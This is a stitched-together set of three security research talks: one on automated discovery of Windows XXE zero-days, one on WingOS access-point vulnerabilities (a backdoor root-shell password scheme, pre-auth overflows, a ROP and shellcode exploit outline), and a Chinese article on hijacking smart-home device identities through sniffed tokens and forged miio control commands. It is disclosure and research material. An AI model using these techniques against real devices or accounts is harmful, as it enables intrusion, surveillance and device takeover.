- Generate code to Trigger RPC server CVE-2018-8440 - Sandbox Escaper ALPC LPE example 54 0-day hunt Step 4 55 Vulnerability categories 56 Past XXE vulnerabilities 1. CVE-2017-0170 - Windows Performance Monitor 2. CVE-2017-8557 - Windows System Information Console 3. CVE-2017-8710 - Windows System Information Console 4. CVE-2018-0878 - Windows Remote Assistance 5. CVE-2018-8527 - SQL Server Management Studio 6. CVE-2019-0948 - Windows Event Viewer 7. CVE-2019-1079 - Visual Studio 8. CVE-2020-0765 - Remote Desktop Connection Manager We ran our CVE tool and found 8 past xxe vulnerabilities between 2017-2021: 57 Intro to XXE 58 How XXE works Example how to trigger XXE 59 XXE - Root Cause Analysis - msra Msra.exe - CVE-2018-0878 - function LoadRATicket - added 4 conditions (35->39) 60 XXE - Root Cause Analysis - msra LoadRATicket - the Unpatched version 61 XXE - Root Cause Analysis - msra Patched version The 4th condition disable resolve externals 1 62 XXE - Root Cause Analysis - upnphost We develop a feature to search for all added prohibitDTD patches and found 3 additional patches 63 XXE - Root Cause Analysis - upnphost We develop a feature to search for all added prohibitDTD patches and found 3 additional patches 64 Conditions for XXE Vulnerable functions: ● Load ● loadXML ● set_xml 1 No restrictions for DTD were applied 2 Vulnerable CLSID (COM object) 3 4 Control over input XML 65 XXE - Detect vulnerable CLSIDs ● Discover all Windows 10 CLSIDs ● Enumerate all COM interfaces and functions ● Call all the XML related functions in order to trigger XXE vulnerability. 66 XXE - Detect vulnerable COM servers C2 server view - 16 vulnerable CLSIDs Vuln function Vuln interface Vuln clsid 67 XXE feature - automatic 0-day Now, let's wrap it all in one feature using IDA python 68 XXE feature - automatic 0-day Msra patched function loadRATicket But other msra functions Seems vulnerable 69 XXE - automatic 0-day - msra Msra LoadAndSortRAInvitationsHistory Xref the 2nd vulnerable clsid CVE-2018-0878 - patched LoadRATicket But havent patched other use of the vulnerable Com object 70 XXE - automatic 0-day - msra LoadAndSortRAInvitationsHistory function 71 XXE - automatic 0-day - msra GetInvitationManagerLoaded function 28 = appdata 72 XXE - automatic 0-day - msra Msra UI - invitation history usage = how to trigger the vulnerability 73 XXE - automatic 0-day - msra - CVE-2021-34507 Fully Patched Windows 10 C2 server 74 Automatic 0-days - SIX Discovered vulnerabilities 0 Day CVE-2021-34507 MS Remote Assistance 0 Day unpatched Windows Help Microsoft Management Console Window Media Player MSIL XML Schema Definition Tool MSIL XSLT compiler ✓ 0 Day unpatched 0 Day unpatched 0 Day unpatched 0 Day unpatched 75 XXE - Windows Help 0-day vulnerability 76 Microsoft Management Console 0-day vulnerability 77 XXE Windows Media Player Call Stack - calling MSXML3!Document::Load - vulnerable to XXE WMP - Vulnerability triggering 78 Automatic 0-days in dotNet For every executable in Windows 10 we created a .Net project An example of a project 79 .Net Windows SDK - 2 XXE Vulnerabilities ● The root cause of xsd.exe is XmlTextReader ● The root cause of xsltc.exe is a configuration error in XmlReaderSettings. It explicitly enables the use of DTD. 80 Post Exploitation Technique - p2p.dll 81 Generate call graph from UnwrapXMLInvitation 82 New Alternative to discover 0-days - CVE-2020-1300 83 New Alternative to discover 0-days - No patch at all Windows 8.1 - August 2020 - Microsoft patched the vulnerability by adding a check that the path doesn’t contains ../ or ..\\. The patch was done on June to localspl,win32spl.dll but not to printbrmenigne.exe The Directory traversal feature search for any function that get ../ or ..\\ as an argument. are vulnerable to XXE using 84 New Alternative to discover 0-days - CVE-2020-1300 Windows 8.1 - August 2020 - PrintBrmEngine.exe was finally patched by Microsoft using the same logic 85 New Alternative to discover 0-days - No patch at all PrintBrmEngine.exe was not patched localspl.dll was patched 86 New Alternative to discover 0-days - No patch at all 87 Microsoft Response 1. The msra vulnerability was fixed as part of July Patch Tuesday. 2. Regarding the other 5 vulnerabilities we reported, no fix is currently planned. 88 GitHub 1. Download and extract patches scripts 2. Auto binary diffing 3. Flow graph tool 4. RPC - idl’s reordering and compiling 5. XXE Com object triggering 6. 0-day XXE discoverer ( IDA python module) https://github.com/SafeBreach-Labs/Back2TheFuture All will be published with bsd 3-clause license 89 Credits 1. https://cdmana.com/2021/02/20210212144254843t.html 2. https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEF%20CON%2025%20-%205A1F-Demystif ying-Kernel-Exploitation-By-Abusing-GDI-Objects.pdf 3. https://www.zerodayinitiative.com/blog/2020/7/8/cve-2020-1300-remote-code-execution-through-microsoft-windows-cab-files 4. https://krbtgt.pw/windows-remote-assistance-xxe-vulnerability 5. https://github.com/VikasVarshney/CVE-2020-0753-and-CVE-2020-0754 6. https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/ 7. https://media.rootcon.org/ROOTCON%2013/Talks/Pilot%20Study%20on%20Semi-Automated%20Patch%20Diffing%20by%20Ap plying%20Machine-Learning%20Techniques.pdf 8. https://www.blackhat.com/html/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.html 9. https://defcon.org/images/defcon-21/dc-21-presentations/Kang-Cruz/DEFCON-21-Kang-Cruz-RESTing-On-Your-Laurels-Will-Get- You-Pwned-Updated.pdf 10. https://owasp.org/www-pdf-archive/XML_Exteral_Entity_Attack.pdf 11. http://hyp3rlinx.altervista.org/advisories/MICROSOFT-INTERNET-EXPLORER-v11-XML-EXTERNAL-ENTITY-INJECTION-0DAY.txt LABS Thank you! Tomer Bar Eran Segal 91 Q&A
pdf
1" Breaking WingOS IOActive, Inc. Copyright ©2018. All Rights Reserved. Index •  Intro to WingOS. •  Scenarios & Attack surface. •  Vulnerabilities. •  Exploitation & Demo. •  Conclusions IOActive, Inc. Copyright ©2018. All Rights Reserved. Intro to WingOS •  Embedded Linux OS with proprietary modifications in Kernel. •  Created by Motorola. Now property of Extreme networks. •  Architecture Mips N32. •  Used mainly in Wireless AP and Controllers. •  No public information or previous research about its internals. IOActive, Inc. Copyright ©2018. All Rights Reserved. Intro to WingOS IOActive, Inc. Copyright ©2018. All Rights Reserved. Intro to WingOS •  Web interface. IOActive, Inc. Copyright ©2018. All Rights Reserved. Intro to WingOS •  CLI. IOActive, Inc. Copyright ©2018. All Rights Reserved. Intro to WingOS •  Devices using WingOS (Extreme networks): IOActive, Inc. Copyright ©2018. All Rights Reserved. Intro to WingOS •  Devices using WingOS: •  Motorola devices and Zebra devices. IOActive, Inc. Copyright ©2018. All Rights Reserved. Intro to WingOS •  Devices using WingOS: IOActive, Inc. Copyright ©2018. All Rights Reserved. Intro to WingOS •  Devices using WingOS (Kontron for aircrafts): IOActive, Inc. Copyright ©2018. All Rights Reserved. Intro to WingOS •  Where you can find these devices? - Widely used in aircrafts by many airlines around the world. IOActive, Inc. Copyright ©2018. All Rights Reserved. Intro to WingOS https://techworld.idg.se/2.2524/1.644569/wifi-flygplan/sida/2/sida-2 IOActive, Inc. Copyright ©2018. All Rights Reserved. Intro to WingOS EN website and case studies you can see that these devices are used in: - Smart buildings and Smart cities. -  Healthcare. -  Government. -  Small and big enterprise networks. -  Education. -  Retail, Stadiums. -  … IOActive, Inc. Copyright ©2018. All Rights Reserved. https://transitwireless.com/wp-content/uploads/2016/04/Motorola-Case-Study-New-York-City-Transit.pdf IOActive, Inc. Copyright ©2018. All Rights Reserved. IOActive, Inc. Copyright ©2018. All Rights Reserved. IOActive, Inc. Copyright ©2018. All Rights Reserved. IOActive, Inc. Copyright ©2018. All Rights Reserved. IOActive, Inc. Copyright ©2018. All Rights Reserved. IOActive, Inc. Copyright ©2018. All Rights Reserved. IOActive, Inc. Copyright ©2018. All Rights Reserved. IOActive, Inc. Copyright ©2018. All Rights Reserved. IOActive, Inc. Copyright ©2018. All Rights Reserved. Attack Surface & Scenarios 1.  Aircraft Scenario: Focused in the remote pre-auth vulnerabilities found. •  Ethernet cable: - Less likely in an Aircraft. - UDP Services/ Mint Services. •  Wi-Fi ( open Wi-Fi or password protected Wi-Fi) •  Pivoting from Sat modem to AP (From the ground!) IOActive, Inc. Copyright ©2018. All Rights Reserved. Attack Surface & Scenarios IOActive, Inc. Copyright ©2018. All Rights Reserved. Attack Surface & Scenarios IOActive, Inc. Copyright ©2018. All Rights Reserved. Attack Surface & Scenarios 2. Other scenarios: Focused in the remote pre-auth vulnerabilities found. •  Connect Ethernet cable directly: -  More likely with outdoor Access Points but also possible inside buildings. •  Wi-Fi ( open Wi-Fi or password protected Wi-Fi). •  Internal network (you are inside the network). IOActive, Inc. Copyright ©2018. All Rights Reserved. Vulnerabilities Hidden root shell backdoor. •  From restricted CLI to hidden root shell. •  Attacker perspective. CLI access: Good, Root shell: completely compromised •  Not critical vuln but very important for the research process. IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor. IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor. IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor. Default value in every WingOS IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor. The content of the file is passed to the Following loop. Let’s emulate this loop with Unicorn. Unicorn uses Qemu in the background and allows You to emulate assembly code for several archs. IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor. IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor. Basically, the content of the file are hex bytes (in ascii). IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor. Decrypts (RC4) the contents of the file (as hex bytes) with the key “Hi Sabeena? How’re you doin’? Bye!!” In this case, the decryption result of the file is the string “password”. IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor. Get the MAC addr of the device And does the following operation with MAC: XX:XX+1:XX+2:XX+3:XX+4:XX+5 IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor. RC4 decrypt “password” with the key XX:XX+1:XX+2:XX+3:XX+4:XX+5 IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor. This last block will make sure that the valid password calculated, will contain only lower-case letters. IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor. Different password next time you try to get shell. If password granted: IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor. IOActive, Inc. Copyright ©2018. All Rights Reserved. Hidden root shell backdoor. IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote pre-auth stack overflow. UDP service listening on 0.0.0.0 by default. RIM process (Radio Interface Module) IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote pre-auth stack overflow. IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote pre-auth stack overflow. IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote pre-auth stack overflow. •  Only some old versions vulnerable to this stack overflow(Let’s see why in a minute). •  Kontron devices (aircrafts) firmware should be vulnerable based on info in their website. IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote pre-auth “global” denial of service. Newest firmware version, stack overflow fixed. But… IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote pre-auth “global” denial of service. IOActive, Inc. Copyright ©2018. All Rights Reserved. Remote pre-auth “global” denial of service. Execute the same POC 2 o 3 times killing the RIM process several times and the whole OS will be rebooted. Watchdog checks if RIM process is running, if not, the whole OS is rebooted. IOActive, Inc. Copyright ©2018. All Rights Reserved. Mint Vulnerabilities Domain 0x32? Local_mint_addr? Lots of recvfrom in binaries. IOActive, Inc. Copyright ©2018. All Rights Reserved. What is Mint? No much info on the internet. L2/L3 proprietary protocol Level 1 VLAN Level 2 IP IOActive, Inc. Copyright ©2018. All Rights Reserved. Mint L2/L3 proprietary protocol Proprietary socket address family (AF_MINT) (sys/socket.c sys/socket.h) Datagram socket 1.  Reverse engineer their kernel to mimic this L2/L3 protocol and build a client 2.  Try to emulate the whole OS/Kernel (Probable, but might be painful) 3.  Find a way to build a client using their OS kernel. IOActive, Inc. Copyright ©2018. All Rights Reserved. Mint Attack scenarios using Mint: •  Attacker connects its device to the network or directly to the target Device (Wireless or Cable) •  Attacker remotely compromises a device connected to the network. •  Attack services/AP/Controllers over Mint services. •  Controllers == Windows DC IOActive, Inc. Copyright ©2018. All Rights Reserved. Creating Mint Client: Mint client: Inspecting their library usr/lib/python2.7/lib-dynload/_socket.so : We should be able to import socket and create Mint sockets. IOActive, Inc. Copyright ©2018. All Rights Reserved. Mint Default config of controller Standalone AP can also be configured as Controller IOActive, Inc. Copyright ©2018. All Rights Reserved. Mint Attacker’s device. I want to connect over mint to the Controller(victim). Now, Controller (victim) sees attacker over mint. And attacker can also connecter over mint to Controller (victim). IOActive, Inc. Copyright ©2018. All Rights Reserved. Mint Vulnerabilities Services listening on several ports over L2/L3 protocol Example of function parsing messages over 1 specific port (HSD process): IOActive, Inc. Copyright ©2018. All Rights Reserved. Vulnerability Memcpy’s src and len user-controlled, dst is heap. Totally controllable: HSD process, Mint port 14 IOActive, Inc. Copyright ©2018. All Rights Reserved. Vulnerability To reach that memcpy in the switch case statement we have to: First go to case0 of switch statement and we got a restriction. Get_session_by_mac check if the MAC sent in our payload is authenticated. IOActive, Inc. Copyright ©2018. All Rights Reserved. Vulnerability To reach that memcpy in the switch case statement we have to: Luckily we can add a fake MAC to the authenticated list Another case for the switch case statement allow us that: IOActive, Inc. Copyright ©2018. All Rights Reserved. Vulnerability To reach that memcpy in the switch case statement we have to send this: First, session alloc for our Fake MAC addr IOActive, Inc. Copyright ©2018. All Rights Reserved. Vulnerability To reach that memcpy in the switch case statement we have to send this: And now we can reach the vulnerable memcpy IOActive, Inc. Copyright ©2018. All Rights Reserved. Vulnerability Crash: /root # gdb (gdb) attach 1765 Attaching to process 1765 Reading symbols from /usr/sbin/hsd...(no debugging symbols found)...done. (gdb) c Continuing. Program received signal SIGABRT, Aborted. 0x2af26624 in raise () from /lib/libc.so.6 (gdb) bt #0 0x2af26624 in raise () from /lib/libc.so.6 #1 0x2af28108 in abort () from /lib/libc.so.6 #2 0x2af645b0 in __fsetlocking () from /lib/libc.so.6 #3 0x2af6b620 in malloc_usable_size () from /lib/libc.so.6 IOActive, Inc. Copyright ©2018. All Rights Reserved. Vulnerability Another Memcpy’s src and len user-controlled, dst is heap. Totally controllable: HSD process, Mint port 14 IOActive, Inc. Copyright ©2018. All Rights Reserved. Vulnerability Another Memcpy’s src and len user-controlled, dst is heap. Totally controllable: HSD process, Mint port 14 /root # gdb (gdb) attach 4820 Attaching to process 4820 Reading symbols from /usr/sbin/hsd...(no debugging symbols found)...done. (gdb) c Continuing. Program received signal SIGABRT, Aborted. 0x2af26624 in raise () from /lib/libc.so.6 (gdb) bt #0 0x2af26624 in raise () from /lib/libc.so.6 #1 0x2af28108 in abort () from /lib/libc.so.6 #2 0x2af645b0 in __fsetlocking () from /lib/libc.so.6 #3 0x2af6b620 in malloc_usable_size () from /lib/libc.so.6 IOActive, Inc. Copyright ©2018. All Rights Reserved. Vulnerability Stack overflow where user data comes from the previous memcpy vuln. To overflow the Stack the Heap buffer has to be overflowed as well: IOActive, Inc. Copyright ©2018. All Rights Reserved. Vulnerability IOActive, Inc. Copyright ©2018. All Rights Reserved. Vulnerability IOActive, Inc. Copyright ©2018. All Rights Reserved. Vulnerability LIBC sanity checks can make it crash before the stack overflow happens. We could try to provide valid data in the next chunk’s metadata to avoid crash (NO ASLR In this case is not necessary as it won’t crash if we execute the exploit “quick”. Provide valid data in the next chunk’s metadata to make it more reliable. IOActive, Inc. Copyright ©2018. All Rights Reserved. EXPLOIT •  NO ASLR, NO NX, NO STACK CANARIES.. •  Just jump to our shellcode? Nope. •  Cache incoherence problem (well known): •  MIPS CPU I-Cache D-Cache Instructions, Data. •  Our payload likely will be stored in the D-Cache. IOActive, Inc. Copyright ©2018. All Rights Reserved. EXPLOIT IOActive, Inc. Copyright ©2018. All Rights Reserved. EXPLOIT •  FILL THE D-CACHE TO FLUSH IT (Depends on how big it is) •  Call a blocking function such as Sleep( ) using ROP •  The cache will be flushed. IOActive, Inc. Copyright ©2018. All Rights Reserved. EXPLOIT ROP: From the epilogue we know the registers that we control at the crash time. IOActive, Inc. Copyright ©2018. All Rights Reserved. LIBC GADGETS IOActive, Inc. Copyright ©2018. All Rights Reserved. SHELLCODE IOActive, Inc. Copyright ©2018. All Rights Reserved. SHELLCODE IOActive, Inc. Copyright ©2018. All Rights Reserved. SHELLCODE MIPS N32: IOActive, Inc. Copyright ©2018. All Rights Reserved. SHELLCODE MIPS N32: IOActive, Inc. Copyright ©2018. All Rights Reserved. SHELLCODE MIPS N32 Shellcode: IOActive, Inc. Copyright ©2018. All Rights Reserved. EXPLOIT IOActive, Inc. Copyright ©2018. All Rights Reserved. DEMO IOActive, Inc. Copyright ©2018. All Rights Reserved. EXPLOIT 1.  Use your own device (or use compromised one). 2.  Add our Fake MAC addr to the auth list 3.  Overflow the heap with our ROP Gadgets and Shellcode 4.  Stack overflow with the Heap data. 5.  BANG! IOActive, Inc. Copyright ©2018. All Rights Reserved. AEROSCOUT VULNERABILITY IOActive, Inc. Copyright ©2018. All Rights Reserved. AEROSCOUT VULNERABILITY IOActive, Inc. Copyright ©2018. All Rights Reserved. AEROSCOUT VULNERABILITY UDP 1144 IOActive, Inc. Copyright ©2018. All Rights Reserved. AEROSCOUT VULNERABILITY •  No Authentication at all. •  Once reverse engineered the protocol, you can mess with locations. IOActive, Inc. Copyright ©2018. All Rights Reserved. Conclusion •  Patches provided by extreme networks: https://gtacknowledge.extremenetworks.com/articles/Vulnerability_Notice/VN-2018-003 IOActive, Inc. Copyright ©2018. All Rights Reserved. Conclusions •  Lot of room for improvement in WingOS. •  There are more vulnerabilities in the OS. •  Hopefully, with this lessons learned, most of them will be fixed proactively? 87 Thank You [email protected] [email protected]
pdf
《智能家居安全——身份劫持》 ——作者:挽秋(daizy) 1、概要 本文以如何劫持(窃取)智能家居时代设备的身份“安全凭证”为出发点,调研并分析了目 前国内市场的主流产品和设备交互协议,及其所依赖身份凭证,通过介绍、分析和发现设备 交互控制协议安全性,最终通过身份劫持,实现相关设备和产品的任意远程控制。 2、智能家居身份和劫持危害 先通过一张简图来了解一下应用、智能设备和云端三者交互时携带的身份标识,如图 2.1 所示: 图 2.1:智能家居设备交互时携带的身份标识 从上图了解到,智能家居身份标识通常是以下几种情况: 1)账号 cookie 相关,如身份 Token; 2)用户 id:userid 3)设备 id:deviceid 4)认证或加密的 key 一旦用户或设备的身份被劫持,那么至少存在如下几方面危害: 1) 个人信息,聊天内容等隐私敏感信息泄露 2) 智能设备被任意控制 3) 财产损失 4) 随时被监控 以智能音箱和智能插座等设备为例,至少有两个环节设计“身份”相关: 1) 账号同步 2) 设备交互操作 下面将分别介绍如何在这两个环节进行身份劫持。 3、账号同步 账号同步是指,在智能设备在初次激活使用(或更改绑定用户时),用户将自己的身份信 息同步给设备,并绑定设备。 一个简化的账号同步流程,如图 3.1 所示: APP 设备 1.设备id或key 2.用户身份(token)、wifi密码 Server 3.携带Token等信息进行请求 4.返回结果 图 3.1:账号同步 账号同步通常会存在如下两类问题: 1) 设备是否合法:验证设备 id 还是设备 key?id 和 key 都很容易泄露伪造。 2) 账号 Token 如何安全传输:设备此时为入网,通过蓝牙、AP,还是其他何种方式传 输账号信息。 账号同步时身份劫持 以厂商 A 音箱的配网和身份账号同步为例,其账号同步分为两种方式: 1)直接通过 UDP 广播 255.255.255.255:50000,发送 userid、token 和 wifi 的 ssid 和 wifi 密 码。 2)将 userid、token、ssid 和 wifi 密码等转化成语音播放,音箱进行语音信息识别即可。 关 于 两 种 模 式 的 选 择 : 由 本 地 sharedPreferences 文 件 (tg_app_env.xml) 中 的 app_connect_mode 属性值决定,其账号同步代码如图 3.2 所示: 图 3.2:厂商 A 音箱的账号同步 厂商 A 的音箱将身份信息,通过固定“协议”的格式,在 UDP255.255.255.255:50000 端 口进行身份信息发送,攻击者可以监听 UDP50000 端口,从而获取用户的 userid 和 token, 窃取身份凭据;语音发送也是按照同一套固定的“协议”格式发送。协议格式通过破解后如 图 3.3 所示: 整个 组长 度 厂商A音箱的身份信息广播格式,该byte数组一共有4个子数组,从左到 右分别是:userid、token、ssid和password相关 协议 类型 Userid 数组 长度 Token 数组 长度 SSID数 组长 度 Pwd数 组长 度 Byte0 Byte1 Byte2 Byte3 Byte4 Byte5 Byte6 Byte... Byten … … 存储者Userid变化后byte数组:转 换格式:new byte=(byte&255)-32) token、ssid和password 数组变换格式同userid 图 3.3:厂商 A 音箱的账号信息同步格式 4、设备交互 设备交互是指应用、设备和云端的三者交互访问;交互操作大体分为两种方式: 1) 只支持广域网:厂商 A 为代表; 2) 支持广域网和局域网:厂商 B 和 C 为代表。 广域网应用与设备交互、设备与设备的交互方式如图 4.1 和 4.2 所示: App Server SmartHome中心 1.APP操作播放音乐 2.播放音乐url 3.播放音乐url 4.音乐播放指令(directive) 智能音箱 图 4.1:应用和设备广域网交互 SmartHome中心 第三方云 2.query 1.打开灯 3.控制协议:turn ligth on 4.第三方开灯协议 5.返回操作结果 6.返回操作结果 帐户绑定:Oauth2.0 7.已开灯 智能音箱 图 4.2:设备和设备广域网交互 厂商 A 的智能家居接入方式:已开灯为例 第一步:厂商 A 的音箱音箱 server url:https://***.com/*** Payload: { Uderid, Deviceid, Accesstoken, 打开灯的语音} 第二步:厂商 A 的音箱 sever第三方 server 用户需要在第三方产品 server 注册并通过 Oauth 授权给厂商 A 的 Server,消息格式如 下: { "header":{ “namespace”:”***Genie.Iot.Device.Control", "name":"TurnOn", "messageId":"1bd5d003-31b9-476f-ad03-71d471922820", "payLoadVersion":1 }, "payload":{ "accessToken":"access token", "deviceId":"34234", "deviceType":"XXX", "attribute":"powerstate", "value":"on", "extensions":{ "extension1":"", "extension2":"" } } } 第三步:第三方 server设备 Payload:{command: turn-on, currentValue:0 } 厂商 A 音箱的身份劫持 厂商 A 的音箱每次交互时,都会携带: token、userid、deviceid、action 来进行,并且 server 会依据 userid 来进行身份判断。 1)有了 userid 就可以身份劫持——远程设备任意操作; 2)userId 是顺序的,可遍历的 9 位数字:比如一个 userid 是 50****123,另一个 userid 则是 50****397 这几位数字; 3) userid 还有其他多种方式获得:配网时窃取、APP 端上获取; 厂商 A 音箱被劫持后,可以用户查看聊天记录,自定义问答,设置闹钟、话费充值、智 能家居控制等等,此外音箱 “被分享”之后,宿主不能主动取消分享,只能等“攻击者” 取消分享,身份劫持危害如图 4.3 所示,中间的攻击者可以任意查看用户的聊天记录: 图 4.3:厂商 A 音箱的身份劫持 如何发现这类身份劫持? 应用或设备通过携带 4 元组信息:userid、deviceid、token 和 action,向云端进行请求 时,如图 4.4 所示,如果云端对 4 元组信息校验出现不一致的情况下,就会导致身份劫持: 1) 把 userid、deviceid、token 三者信息中的一种直接当成用户身份,而不是进行严格 的身份一致性判断:判断 userid 和 token 是否一致,用户身份和设备列表是否是绑 定关系。 2) 用户身份和 action 判断,存在逻辑漏洞,导致攻击者可以进行操作提权,比如子设 备提权可以操作“属主”身份的一些权限,OTA 更新等等。 Userid Token Devicei d Action APP/设备 云server 图 4.4: 4 元组访问请求 局域网中应用与设备交互、设备与设备的交互方式如图 4.5 和 4.6 所示: 1.UDP广播查询设备信息 局域网路由器 2.返回设备信息(IP、id、key等) 3.发送command指令 4.返回操作结果 智能音箱 图 4.5:应用和设备局域网交互 SmartHome中心 第三方云 1.获取设备列表 6.打开灯 2.控制协议:获取设备信息 上传wifi信息、设备列表和IP及端口 3.返回设备信息 帐户绑定:Oauth2.0 4.下发设备信息 5.获取设备操作token 7. Token+action:Turn On 局域网路由器 智能音箱 图 4.6:设备和设备局域网交互 厂商 B 的设备局域网身份劫持 在同一局域网下,厂商 B 设备通过专有的加密 UDP 网络协议——miio 协议,进行通信控制。 1)通过广播发送一个握手协议包,如果设备支持 miio 协议,那么设备就会回复自身信息: token、ip 和 ID。 2)向指定设备发送一串 hello bytes 获得设备信息结构体”header” 3)凭借 token、ID 等信息构造信息结构体”header”,跟随控制消息发送给设备,实现设备控 制。 厂商 B 的设备局域网身份劫持交互如图 4.7 所示: Hacker 厂 商 B 的 设 备 1.发送mirobo discover --handshake 1 4.返回控制消息结构体,其中header包含ts变量 3.发送hello bytes到设备54321端口 2.返回设备IP、ID、Token 5.构造结构体header和控制消息发送 6.设备返回执行结果 图 4.7:厂商 B 的设备局域网身份劫持交互 第一步:安装 python-miio 库,然后执行:mirobo discover --handshake 1,获取设备 IP、ID 和 Token 信息。 第二步:发送 hello bytes 消息给设备 54321 端口,获取设备消息结构体 Header: 第三步:伪造控制消息结构体 Header、消息指令 cmd 和 checksum(Token),给设备发送; typedef struct{ Header, cmd, checksum }Msg 控制消息结构体如图 4.8 所示: 图 4.8:厂商 B 的设备控制消息结构体 已打开智能插座为例:cmd={'id':1,'method':'set_power','params':['on']} 厂商 C 的局域网交互控制 厂商 C 为了实现智能家居生态,主推一套实现产品智能化互联互通的协议——“***Link”, 目前所有的产品都可以与 APP,以及音箱进行交互控制,是一套“带认证的密钥协商+对称 密钥加密”的设备操作和交互控制协议。 再介绍和认识“带认证的密钥协商”之前,我们先介绍一下 ECDH 密钥协商及其存在的 安全问题。 有两个用户 Bob 和 Alice,使用 ECDH 密钥协商,交互过程如图 4.9 所示: 控制消息Msg Header结构体4个属性: Device_ID、ts、length和unknown cmd Id、method、params等 checksum:token Bob Alice (Bob_ECDH_pub_key,Bob_ECDH_pri_key) =ECDH_generate_key() (Alice_ECDH_pub_key,Alice_ECDH_pri_key) =ECDH_generate_key() Key=ECDH_compute_key(Alice_ECDH_pu b_key,Bob_ECDH_pri_key) Key=ECDH_compute_key(Bob_ECDH_pub _key,Alice_ECDH_pri_key) Bob_ECDH_pub_key Alice_ECDH_pub_key 图 4.9:ECDH 密钥协商 但是 ECDH 密钥协商是无法防御中间人攻击的,假设在 Bob 和 Alice 存在一个攻击者— —Attack,对 Bob 和 Alice 进行中间人攻击,ECDH 协商流程如图 4.10 所示: Bbob Alice (Bob_ECDH_pub_key,Bob_ECDH_pri_key) =ECDH_generate_key() (Alice_ECDH_pub_key,Alice_ECDH_pri_key) =ECDH_generate_key() Key_BA=ECDH_compute_key(Att_ECDH_ pub_key2,Bob_ECDH_pri_key) Key_AA=ECDH_compute_key(Att_ECDH_pub _key1,Alice_ECDH_pri_key) Bob_ECDH_pub_key Alice_ECDH_pub_key Attack (Att_ECDH_pub_key1,Att_ECDH_pri_key1) =ECDH_generate_key() (Att_ECDH_pub_key2,Att_ECDH_pri_key2) =ECDH_generate_key() Key_BA=ECDH_compute_key(Bob_ECDH_pub_key,At t_ECDH_pri_key2) Key_AB=ECDH_compute_key(Alice_ECDH_pub_ke y,Att_ECDH_pri_key1) Att_ECDH_pub_key2 Att_ECDH_pub_key1 图 4.10:ECDH 密钥协商之中间人攻击 为了防御中间人攻击,需要在 ECDH 密钥协商过程中加入“一套身份认证机制”—— EccSignKey 和 EccVerifyKey,EccVerifyKey 提前存储在需要协商密钥的用户设备上,整个“待 认证的 ECDH 密钥协商”交互过程如图 4.11 所示: Bob Alice (Bob_ECDH_pub_key,Bob_ECDH_pri_key) =ECDH_generate_key() (Bob_verify_key,Bob_sign_key) =ECDSA_genarate_key() (Alice_ECDH_pub_key,Alice_ECDH_pri_key) =ECDH_generate_key() (Alice_verify_key,Alice_sign_key) =ECDSA_genarate_key() ECDSA_Verify(Alice_verify_key,Alice_ECD H_pub_key,Signature_a) Key=ECDH_compute_key(Alice_ECDH_pu b_key,Bob_ECDH_pri_key) ECDSA_Verify(Bob_verify_key,Bob_ECDH_pu b_key,Signature_b) Key=ECDH_compute_key(Bob_ECDH_pub_k ey,Alice_ECDH_pri_key) Bob_ECDH_pub_key Signature_b=ECDSA_sign(Bob_sign_key,Bob_ECDH_pub_key) Alice_ECDH_pub_key Signature_a=ECDSA_sign(Alice_sign_key,Alice_ECDH_pub_key) 图 4.11:待认证的 ECDH 密钥协商 设备和厂商 C 的应用(或音箱)基于***Link 协议来进行交互,第三方设备制造商首先在 云端通过 ECC 算法一对生成公私钥:Ecc-sPrivateKey/Ecc-sPubkey,其中公钥 Ecc-sPubkey 内 置在设备端,用于加密发送随机数到云端,进行设备的身份认证,设备认证合法后,云端下 发后续通信加密的 key:accessKey 到设备上,然后应用使用 ECDH 密钥协商算法协商出的密 钥,通过 AES-CBC 模式加密传输 accessKey;此外设备和应用进行局域网通信时,都是通过 localkey 进行加解密来进行的,其中 localkey 就是 accessKey。设备和厂商 C 的应用局域网交 互流程如图 4.12 所示: 某 APP 或 音 箱 厂 商 C 的 微 联 设 备 1.udp广播发送payload和publicKey到80或4320端口 6.设备返回响应 5.打开设备待激活状态,发送认证授权信息:accesskey、localkey等 2.返回设备devkey(公钥)+feedid+random+sPubKey(random)等设备信息 7.使用localkey加密设备控制信息,然后发送 8.设备返回执行结果 局域网模式 设备端内置 ECC-sPubKey 第三方设备在厂商C的 云上生成ECC- sPrivateKey/sPubKey 3.发送random+sPubKey(random) 4.云端验证合法后下发accesskey 图 4.12:设备和厂商 C 的应用局域网通信交互 厂商 C 的设备局域网身份劫持 厂商 C 的***Link 协议的交互控制的消息结构体如下所示: 已打开智能插座为例: Packet_t=协议包头,opt=null,Payload=LocalKey 密钥加密 Time[时间戳] //4 字节 int 类型时间戳,小端在前 { “cmd”:5, "data":{ "streams":[{"current_value":"0","stream_id":"power"}], "snapshot":[{"current_value":"1","stream_id":"power"}] } 设备交互方式总结和比较 属性\公司 厂商 A 厂商 B 厂商 C 交互方式 只允许云端交互 允许云端和局域网 允许云端和局域网 是否可劫持 音箱 server 和第三 方设备进行控制协 议交互; 身份凭证是 userid,可劫持 生态链企业,云端 统一走厂商 B 的生 态链云;基于 miio 协议 局域网交互,身份 凭证 token 可劫持 第三方企业使用其 link 协 议,云端使用厂商 C 的云作 为 server;局域网交互依赖 localkey,目前安全。但是 设备身份依赖于 ECC- sPubKey(多个设备一个 key),该 key 失窃后,设备 可以被伪造。 产品安全性负 责 厂商 A 